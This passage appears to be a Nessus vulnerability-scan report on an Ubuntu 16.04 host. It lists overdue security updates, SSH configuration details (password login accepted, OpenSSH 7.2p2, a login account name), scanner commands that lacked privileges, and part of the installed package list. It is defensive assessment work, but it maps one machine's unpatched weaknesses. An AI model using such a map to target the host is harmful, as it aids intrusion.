+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : GnuPG vulnerability (USN-5503-2) (163026)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : Graphite2 vulnerability (USN-5657-1) (165716)]

+ Action to take : Update the affected libgraphite2-3 and / or libgraphite2-dev packages.

[Ubuntu 16.04 ESM : Gzip vulnerability (USN-5378-4) (159725)]

+ Action to take : Update the affected gzip package.

[Ubuntu 16.04 ESM : HTTP-Daemon vulnerability (USN-5520-2) (163267)]

+ Action to take : Update the affected libhttp-daemon-perl package.

[Ubuntu 16.04 ESM : HarfBuzz vulnerability (USN-5746-1) (168234)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : JACK vulnerability (USN-5656-1) (165690)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : LZ4 vulnerability (USN-4968-2) (150712)]

+ Action to take : Update the affected liblz4-1, liblz4-dev and / or liblz4-tool packages.

[Ubuntu 16.04 ESM : Libcroco vulnerabilities (USN-5389-1) (160213)]

+ Action to take : Update the affected libcroco-tools, libcroco3 and / or libcroco3-dev packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : Libgcrypt vulnerabilities (USN-5080-2) (153514)]

+ Action to take : Update the affected libgcrypt11-dev, libgcrypt20 and / or libgcrypt20-dev packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : Libksba vulnerability (USN-5787-2) (169707)]

+ Action to take : Update the affected libksba-dev and / or libksba8 packages.

[Ubuntu 16.04 ESM : MySQL vulnerabilities (USN-6060-2) (175288)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 38 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : PCRE vulnerabilities (USN-5665-1) (166014)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : Rsyslog vulnerability (USN-5404-2) (161480)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : SQLite vulnerability (USN-5712-1) (166939)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : Squashfs-Tools vulnerabilities (USN-5078-2) (153408)]

+ Action to take : Update the affected squashfs-tools package.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : XZ Utils vulnerability (USN-5378-3) (159719)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : dpkg vulnerability (USN-5446-2) (161690)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : jbig2dec vulnerabilities (USN-5405-1) (160724)]

+ Action to take : Update the affected jbig2dec, libjbig2dec0 and / or libjbig2dec0-dev packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libXdmcp vulnerability (USN-5690-1) (166261)]

+ Action to take : Update the affected libxdmcp-dev and / or libxdmcp6 packages.

[Ubuntu 16.04 ESM : libXfixes vulnerability (USN-5437-1) (161452)]

+ Action to take : Update the affected libxfixes-dev and / or libxfixes3 packages.

[Ubuntu 16.04 ESM : libXi vulnerabilities (USN-5646-1) (165525)]

+ Action to take : Update the affected libxi-dev and / or libxi6 packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libXpm vulnerabilities (USN-5807-2) (171734)]

+ Action to take : Update the affected libxpm-dev, libxpm4 and / or xpmutils packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libXrandr vulnerabilities (USN-5428-1) (161330)]

+ Action to take : Update the affected libxrandr-dev and / or libxrandr2 packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libXrender vulnerabilities (USN-5436-1) (161450)]

+ Action to take : Update the affected libxrender-dev and / or libxrender1 packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libXv vulnerability (USN-5449-1) (161630)]

+ Action to take : Update the affected libxv-dev and / or libxv1 packages.

[Ubuntu 16.04 ESM : libcdio vulnerabilities (USN-5558-1) (164012)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : libsamplerate vulnerability (USN-5749-1) (168279)]

+ Action to take : Update the affected libsamplerate0, libsamplerate0-dev and / or samplerate-programs packages.

[Ubuntu 16.04 ESM : libwebp vulnerability (USN-6078-2) (178444)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 11 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : ncurses vulnerabilities (USN-5477-1) (162173)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 17 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : pixman vulnerability (USN-5718-2) (168311)]

+ Action to take : Update the affected libpixman-1-0 and / or libpixman-1-dev packages.

[Ubuntu 16.04 ESM : protobuf vulnerabilities (USN-5769-1) (168509)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : systemd vulnerabilities (USN-5013-2) (151835)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : util-linux vulnerability (USN-5478-1) (162221)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : zlib vulnerability (USN-5355-2) (159361)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : GNU C Library vulnerabilities (USN-6804-1) (198244)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : idna vulnerability (USN-6780-1) (197569)]

+ Action to take : Update the affected pypy-idna, python-idna and / or python3-idna packages.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : less vulnerability (USN-6664-1) (191066)]

+ Action to take : Update the affected less package.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : APR vulnerability (USN-7038-1) (207799)]

+ Action to take : Update the affected libapr1, libapr1-dev and / or libapr1t64 packages.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : nano vulnerability (USN-7064-1) (209028)]

+ Action to take : Update the affected nano and / or nano-tiny packages.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS : gdb vulnerabilities (USN-6842-1) (200771)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : LibVNCServer, Vino vulnerability (USN-4636-1) (142998)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 8 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : libfcgi-perl vulnerability (USN-7527-1) (237111)]

+ Action to take : Update the affected libfcgi-perl package.

[Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : xdg-utils vulnerability (USN-4649-1) (143268)]

+ Action to take : Update the affected xdg-utils package.

[Ubuntu 16.04 LTS / 18.04 LTS : ORC vulnerability (USN-6964-2) (207999)]

+ Action to take : Update the affected liborc-0.4-0, liborc-0.4-dev and / or liborc-0.4-dev-bin packages.

[Ubuntu 16.04 LTS / 18.04 LTS : libndp vulnerability (USN-7248-1) (214886)]

+ Action to take : Update the affected libndp-dev, libndp-tools and / or libndp0 packages.

[Ubuntu 16.04 LTS : GNU C Library vulnerability (USN-7259-2) (215239)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3377-2) (102196)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3384-2) (102419)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3419-2) (103322)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3443-2) (103776)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3468-2) (104318)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerabilities (USN-3508-2) (105103)]

+ Action to take : Update the affected kernel package.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerability (USN-3404-2) (102817)]

+ Action to take : Update the affected kernel package.

[Ubuntu 16.04 LTS : Linux kernel (HWE) vulnerability (USN-3484-2) (104715)]

+ Action to take : Update the affected kernel package.

70657 - SSH Algorithms and Languages Supported -

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2025/01/20

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm(s) with the server :

Client to Server: aes256-ctr
Server to Client: aes256-ctr

The server supports the following options for compression_algorithms_server_to_client :

none
zlib@openssh.com

The server supports the following options for mac_algorithms_client_to_server :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for server_host_key_algorithms :

ecdsa-sha2-nistp256
rsa-sha2-256
rsa-sha2-512
ssh-ed25519
ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server :

aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
chacha20-poly1305@openssh.com

The server supports the following options for mac_algorithms_server_to_client :

hmac-sha1
hmac-sha1-etm@openssh.com
hmac-sha2-256
hmac-sha2-256-etm@openssh.com
hmac-sha2-512
hmac-sha2-512-etm@openssh.com
umac-128-etm@openssh.com
umac-128@openssh.com
umac-64-etm@openssh.com
umac-64@openssh.com

The server supports the following options for kex_algorithms :

curve25519-sha256@libssh.org
diffie-hellman-group-exchange-sha256
diffie-hellman-group14-sha1
ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521

The server supports the following options for compression_algorithms_client_to_server :
```

```
none
zlib@openssh.com

The server supports the following options for encryption_algorithms_server_to_client :

aes128-ctr
aes128-gcm@openssh.com
aes192-ctr
aes256-ctr
aes256-gcm@openssh.com
chacha20-poly1305@openssh.com
```

102094 - SSH Commands Require Privilege Escalation -

Synopsis

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them.

Description

This plugin reports the SSH commands that failed with a response indicating that privilege escalation is required to run them. Either privilege escalation credentials were not provided, or the command failed to run with the provided privilege escalation credentials.

NOTE: Due to limitations inherent to the majority of SSH servers, this plugin may falsely report failures for commands containing error output expected by sudo, such as 'incorrect password', 'not in the sudoers file', or 'not allowed to execute'.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0507

Plugin Information

Published: 2017/08/01, Modified: 2020/09/22

Plugin Output

tcp/0

```
Login account : marlinspike
Commands failed due to lack of privilege escalation :
- Escalation account : (none)
Escalation method : (none)
Plugins :
- Plugin Filename : bios_get_info_ssh.nasl
Plugin ID : 34098
Plugin Name : BIOS Info (SSH)
- Command : "LC_ALL=C dmidecode"
Response : "# dmidecode 3.0\nScanning /dev/mem for entry point."
Error : "\n/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n/dev/mem: Permission denied"
- Command : "LC_ALL=C /usr/sbin/dmidecode"
Response : "# dmidecode 3.0\nScanning /dev/mem for entry point."
Error : "\n/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n\n/dev/mem: Permission denied"
- Plugin Filename : enumerate_aws_ami_nix.nasl
Plugin ID : 90191
Plugin Name : Amazon Web Services EC2 Instance Metadata Enumeration (Unix)
- Command : "/usr/sbin/dmidecode -s system-version 2>&1"
Response : "/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n/dev/mem: Permission denied"
Error : ""
- Plugin Filename : enumerate_oci_nix.nasl
Plugin ID : 154138
Plugin Name : Oracle Cloud Infrastructure Instance Metadata Enumeration (Linux / Unix)
- Command : "LC_ALL=C dmidecode -s chassis-asset-tag 2>&1"
Response : "/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n/dev/mem: Permission denied"
Error : ""
- Command : "LC_ALL=C /usr/sbin/dmidecode -s chassis-asset-tag 2>&1"
Response : "/sys/firmware/dmi/tables/smbios_entry_point: Permission denied\n/dev/mem: Permission denied"
Error : ""
- Plugin Filename : host_tag_nix.nbin
Plugin ID : 87414
Plugin Name : Host Tagging (Linux)
- Command : "sh -c \"echo 366fb072d356492c94d6f4ef3d56ce19 > /etc/tenable_tag && echo OK\""
Response : null
Error : "\nsh: 1: \ncannot create /etc/tenable_tag: Permission denied"
- Plugin Filename : linux_kernel_speculative_execution_detect.nbin
Plugin ID : 125216
Plugin Name : Processor Speculative Execution Vulnerabilities (Linux)
- Command : "head /sys/kernel/debug/x86/pti_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/pti_enabled' for reading\n: Permission denied"
```

```
- Command : "head /sys/kernel/debug/x86/retp_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/retp_enabled' for reading\n: Permission denied"
- Command : "head /sys/kernel/debug/x86/ibrs_enabled"
Response : null
Error : "\nhead: \ncannot open '/sys/kernel/debug/x86/ibrs_enabled' for reading\n: Permission denied"
```

149334 - SSH Password Authentication Accepted -

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

https://tools.ietf.org/html/rfc4252#section-8

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported -

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :

- 1.99
- 2.0
```

90707 - SSH SCP Protocol Detection -

Synopsis

The remote host supports the SCP protocol over SSH.

Description

The remote host supports the Secure Copy (SCP) protocol over SSH.

See Also

https://en.wikipedia.org/wiki/Secure_copy

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/04/26, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

153588 - SSH SHA-1 HMAC Algorithms Enabled -

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-etm@openssh.com

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :

hmac-sha1
hmac-sha1-etm@openssh.com
```

10267 - SSH Server Type and Version Information -

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2024/07/24

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
SSH supported authentication : publickey,password
```

22964 - Service Detection -

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/21/ftp

```
An FTP server is running on this port.
```

22964 - Service Detection -

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

22869 - Software Enumeration (SSH) -

Synopsis

It was possible to enumerate installed software on the remote host via SSH.

Description

Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.).

Solution

Remove any software that is not in compliance with your organization's acceptable use and security policies.

Risk Factor

None

References

XREF IAVT:0001-T-0502

Plugin Information

Published: 2006/10/15, Modified: 2025/03/26

Plugin Output

tcp/0

```
Here is the list of packages installed on the remote Debian Linux system :

ii a11y-profile-manager-indicator 0.1.10-0ubuntu3 amd64 Accessibility Profile Manager - Unity desktop indicator
ii account-plugin-facebook 0.12+16.04.20160126-0ubuntu1 all GNOME Control Center account plugin for single signon - facebook
ii account-plugin-flickr 0.12+16.04.20160126-0ubuntu1 all GNOME Control Center account plugin for single signon - flickr
ii account-plugin-google 0.12+16.04.20160126-0ubuntu1 all GNOME Control Center account plugin for single signon
iU accountsservice 0.6.40-2ubuntu11.6 amd64 query and manipulate user account information
ii acl 2.2.52-3 amd64 Access control list utilities
ii acpi-support 0.142 amd64 scripts for handling many ACPI events
ii acpid 1:2.0.26-1ubuntu2 amd64 Advanced Configuration and Power Interface event daemon
ii activity-log-manager 0.9.7-0ubuntu23.16.04.1 amd64 blacklist configuration user interface for Zeitgeist
ii adduser 3.113+nmu3ubuntu4 all add and remove users and groups
ii adium-theme-ubuntu 0.3.4-0ubuntu1.1 all Adium message style for Ubuntu
ii adwaita-icon-theme 3.18.0-2ubuntu3.1 all default icon theme of GNOME (small subset)
ii aisleriot 1:3.18.2-1ubuntu1 amd64 GNOME solitaire card game collection
ii alsa-base 1.0.25+dfsg-0ubuntu5 all ALSA driver configuration files
ii alsa-utils 1.1.0-0ubuntu5 amd64 Utilities for configuring and using ALSA
iU amd64-microcode 3.20191021.1+really3.20180524.1~ubuntu0.16.04.2 amd64 Processor microcode firmware for AMD CPUs
ii anacron 2.3-23 amd64 cron-like program that doesn't go by time
iU apache2 2.4.18-2ubuntu3.17 amd64 Apache HTTP Server
iU apache2-bin 2.4.18-2ubuntu3.17 amd64 Apache HTTP Server (modules and other binary files)
iU apache2-data 2.4.18-2ubuntu3.17 all Apache HTTP Server (common files)
iU apache2-utils 2.4.18-2ubuntu3.17 amd64 Apache HTTP Server (utility programs for web servers)
ii apg 2.2.3.dfsg.1-2ubuntu1 amd64 Automated Password Generator - Standalone version
ii app-install-data 15.10 all Ubuntu applications (data files)
ii app-install-data-partner 16.04 all Application Installer (data files for partner applications/repositories)
iU apparmor 2.10.95-0ubuntu2.12 amd64 user-space parser utility for AppArmor
ii appmenu-qt 0.2.7+14.04.20140305-0ubuntu2 amd64 application menu for Qt
ii appmenu-qt5 0.3.0+16.04.20170216-0ubuntu1 amd64 application menu for Qt5
iU apport 2.20.1-0ubuntu2.30+esm7 all automatically generate crash reports for debugging
iU apport-gtk 2.20.1-0ubuntu2.30+esm7 all GTK+ frontend for the apport crash report system
ii apport-symptoms 0.20 all symptom scripts for apport
ii appstream 0.9.4-1ubuntu3 amd64 Software component index
ii apt 1.2.32ubuntu0.2 amd64 commandline package manager
iU apt-transport-https 1.2.32ubuntu0.2 amd64 https download transport for APT
iU apt-utils 1.2.32ubuntu0.2 amd64 package management related utility programs
iU aptdaemon 1.1.1+bzr982-0ubuntu14.5 all transaction based package management service
iU aptdaemon-data 1.1.1+bzr982-0ubuntu14.5 all data files for clients
ii apturl 0.5.2ubuntu11.1 amd64 install packages using the apt protocol - GTK+ frontend
ii apturl-common 0.5.2ubuntu11.1 amd64 install packages using the apt protocol - common data
iU aspell 0.60.7~20110707-3ubuntu0.1 amd64 GNU Aspell spell-checker
ii aspell-en 7.1-0-1.1 all English dictionary for GNU Aspell
ii at-spi2-core 2.18.3-4ubuntu1 amd64 Assistive Technology Service Provider Interface (dbus core)
iU avahi-autoipd 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi IPv4LL network address configuration daemon
iU avahi-daemon 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi mDNS/DNS-SD daemon
iU avahi-utils 0.6.32~rc+dfsg-1ubuntu2.3 amd64 Avahi browsing, publishing and discovery utilities
it bamfdaemon 0.5.3~bzr0+16.04.20160824-0ubuntu1 amd64 Window matching library - daemon
ii baobab 3.18.1-1ubuntu1 amd64 GNOME disk usage analyzer
ii base-files 9.4ubuntu4.5 amd64 Debian base system miscellaneous files
ii base-passwd 3.5.39 amd64 Debian base system master password and group files
ii bash 4.3-14ubuntu1.4 amd64 GNU Bourne Again SHell
ii bash-completion 1:2.1-4.2ubuntu1.1 all programmable completion for the bash shell
ii bc 1.06.95-9build1 amd64 GNU bc arbitrary precision calculator language
iU bind9-host 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Version of 'host' bundled with BIND 9.X
iU binutils 2.26.1-1ubuntu1~16.04.8 amd64 GNU assembler, linker and binary utilities
iU bluez 5.37-0ubuntu5.3 amd64 Bluetooth tools and daemons
iU bluez-cups 5.37-0ubuntu5.3 amd64 Bluetooth printer driver for CUPS
iU bluez-obexd 5.37-0ubuntu5.3 amd64 bluez obex daemon
ii branding-ubuntu 0.8 all Replacement artwork with Ubuntu branding
ii brltty 5.3.1-2ubuntu2.1 amd64 Access software for a blind person using a braille display
ii bsdmainutils 9.0.6ubuntu3 amd64 collection of more utilities from FreeBSD
ii bsdutils 1:2.27.1-6ubuntu3.3 amd64 basic utilities from 4.4BSD-Lite
ii build-essential 12.1ubuntu2 amd64 Informational list of build-essential packages
```

```
iU busybox-initramfs 1:1.22.0-15ubuntu1.4 amd64 Standalone shell setup for initramfs
iU busybox-static 1:1.22.0-15ubuntu1.4 amd64 Standalone rescue shell with tons of builtin utilities
iU bzip2 1.0.6-8ubuntu0.2 amd64 high-quality block-sorting file compressor - utilities
iU ca-certificates 20210119~16.04.1 all Common CA certificates
ii checkbox-converged 1.2.4-0ubuntu1 all testing tool for all Ubuntu devices
ii checkbox-gui 1.2.4-0ubuntu1 all QML based interface for checkbox (transitional package)
ii cheese 3.18.1-2ubuntu3 amd64 tool to take pictures and videos from your webcam
ii cheese-common 3.18.1-2ubuntu3 all Common files for the Cheese tool to take pictures and videos
ii colord 1.2.12-1ubuntu1 amd64 system service to manage device colour profiles -- system daemon
ii colord-data 1.2.12-1ubuntu1 all system service to manage device colour profiles -- data files
ii command-not-found 0.3ubuntu16.04.2 all Suggest installation of packages in interactive bash sessions
ii command-not-found-data 0.3ubuntu16.04.2 amd64 Set of data files for command-not-found.
ii compiz 1:0.9.12.2+16.04.20160823-0ubuntu1 all OpenGL window and compositing manager
ii compiz-core 1:0.9.12.2+16.04.20160823-0ubuntu1 amd64 OpenGL window and compositing manager
ii compiz-gnome 1:0.9.12.2+16.04.20160823-0ubuntu1 amd64 OpenGL window and compositing manager - GNOME window decorator
ii compiz-plugins-default 1:0.9.12.2+16.04.20160823-0ubuntu1 amd64 OpenGL window and compositing manager - default plugins
ii console-setup 1.108ubuntu15.3 all console font and keymap setup program
ii console-setup-linux 1.108ubuntu15.3 all Linux specific part of console-setup
ii coreutils 8.25-2ubuntu3~16.04 amd64 GNU core utilities
iU cpio 2.11+dfsg-5ubuntu1.1 amd64 GNU cpio -- a program to manage archives of files
ii cpp 4:5.3.1-1ubuntu1 amd64 GNU C preprocessor (cpp)
iU cpp-5 5.4.0-6ubuntu1~16.04.12 amd64 GNU C preprocessor
ii cracklib-runtime 2.9.2-1ubuntu1 amd64 runtime support for password checker library cracklib2
ii crda 3.13-1 amd64 wireless Central Regulatory Domain Agent
ii cron 3.0pl1-128ubuntu2 amd64 process scheduling daemon
iU cups 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - PPD/driver support, web interface
iU cups-browsed 1.8.3-2ubuntu3.5 amd64 OpenPrinting CUPS Filters - cups-browsed
iU cups-bsd 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - BSD commands
iU cups-client 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - client programs (SysV)
iU cups-common 2.1.3-4ubuntu0.11 all Common UNIX Printing System(tm) - common files
iU cups-core-drivers 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - PPD-less printing
iU cups-daemon 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - daemon
iU cups-filters 1.8.3-2ubuntu3.5 amd64 OpenPrinting CUPS Filters - Main Package
iU cups-filters-core-drivers 1.8.3-2ubuntu3.5 amd64 OpenPrinting CUPS Filters - PPD-less printing
ii cups-pk-helper 0.2.5-2ubuntu2 amd64 PolicyKit helper to configure cups with fine-grained privileges
iU cups-ppdc 2.1.3-4ubuntu0.11 amd64 Common UNIX Printing System(tm) - PPD manipulation utilities
iU cups-server-common 2.1.3-4ubuntu0.11 all Common UNIX Printing System(tm) - server common files
ii dash 0.5.8-2.1ubuntu2 amd64 POSIX-compliant shell
iU dbus 1.10.6-1ubuntu3.6 amd64 simple interprocess messaging system (daemon and utilities)
iU dbus-x11 1.10.6-1ubuntu3.6 amd64 simple interprocess messaging system (X11 deps)
ii dc 1.06.95-9build1 amd64 GNU dc arbitrary precision reverse-polish calculator
ii dconf-cli 0.24.0-2 amd64 simple configuration storage system - utilities
ii dconf-gsettings-backend 0.24.0-2 amd64 simple configuration storage system - GSettings back-end
ii dconf-service 0.24.0-2 amd64 simple configuration storage system - D-Bus service
ii debconf 1.5.58ubuntu1 all Debian configuration management system
ii debconf-i18n 1.5.58ubuntu1 all full internationalization support for debconf
ii debianutils 4.7 amd64 Miscellaneous utilities specific to Debian
ii deja-dup 34.2-0ubuntu1.1 amd64 Back up your files
it desktop-file-utils 0.22-1ubuntu5.1 amd64 Utilities for .desktop files
iU dh-python 2.20151103ubuntu1.2 all Debian helper tools for packaging Python libraries and applications
ii dictionaries-common 1.26.3 all spelling dictionaries - common utilities
ii diffstat 1.61-1 amd64 produces graph of changes introduced by a diff file
ii diffutils 1:3.3-3 amd64 File comparison utilities
iU dirmngr 2.1.11-6ubuntu2.1 amd64 server for managing certificate revocation lists
iU distro-info-data 0.28ubuntu0.19 all information about the distributions' releases (data files)
ii dmidecode 3.0-2ubuntu0.1 amd64 SMBIOS/DMI table decoder
ii dmz-cursor-theme 0.4.4ubuntu1 all Style neutral, scalable cursor theme
iU dns-root-data 2018013001~16.04.1 all DNS root data including root zone and DNSSEC key
iU dnsmasq-base 2.75-1ubuntu0.16.04.10 amd64 Small caching DNS proxy and DHCP/TFTP server
iU dnsutils 1:9.10.3.dfsg.P4-8ubuntu1.19 amd64 Clients provided with BIND
it doc-base 0.10.7 all utilities to manage online documentation
ii dosfstools 3.0.28-2ubuntu0.1 amd64 utilities for making and checking MS-DOS FAT filesystems
ii dpkg 1.18.4ubuntu1.2 amd64 Debian package management system
ii dpkg-dev 1.18.4ubuntu1.2 all Debian package development tools
ii e2fslibs 1.42.13-1ubuntu1.2 amd64 ext2/ext3/ext4 file system libraries
ii e2fsprogs 1.42.13-1ubuntu1.2 amd64 ext2/ext3/ext4 file system utilities
ii ed 1.10-2 amd64 classic UNIX line editor
ii efibootmgr 0.12-4 amd64 Interact with the EFI Boot Manager
ii eject 2.1.5+deb1+cvs20081104-13.1ubuntu0.16.04.1 amd64 ejects CDs and operates CD-Changers under Linux
ii emacsen-common 2.0.8 all Common facilities for all emacsen
ii enchant 1.6.0-10.1build2 amd64 Wrapper for various spell checker engines (binary programs)
ii eog 3.18.2-1ubuntu2.1 amd64 Eye of GNOME graphics viewer program
ii espeak-data 1.48.04+dfsg-2 amd64 Multi-lingual software speech synthesizer: speech data files
ii ethtool 1:4.5-1 amd64 display or change Ethernet device settings
iU evince 3.18.2-1ubuntu4.6 amd64 Document (PostScript, PDF) viewer
iU evince-common 3.18.2-1ubuntu4.6 all Document (PostScript, PDF) viewer - common files
iU evolution-data-server 3.18.5-1ubuntu1.3 amd64 evolution database backend server
iU evolution-data-server-common 3.18.5-1ubuntu1.3 all architecture independent files for Evolution Data Server
iU evolution-data-server-online-accounts 3.18.5-1ubuntu1.3 amd64 evolution data server integration with Ubuntu Online Accounts
ii example-content 49 all Ubuntu example content
ii fakeroot 1.20.2-1ubuntu1 amd64 tool for simulating superuser privileges
iU file 1:5.25-2ubuntu1.4 amd64 Determines file type using "magic" numbers
iU file-roller 3.16.5-0ubuntu1.5 amd64 archive manager for GNOME
ii findutils 4.6.0+git+20160126-2 amd64 utilities for finding files--find, xargs
iU firefox 88.0+build2-0ubuntu0.16.04.1 amd64 Safe and easy web browser from Mozilla
iU firefox-locale-en 88.0+build2-0ubuntu0.16.04.1 amd64 English language pack for Firefox
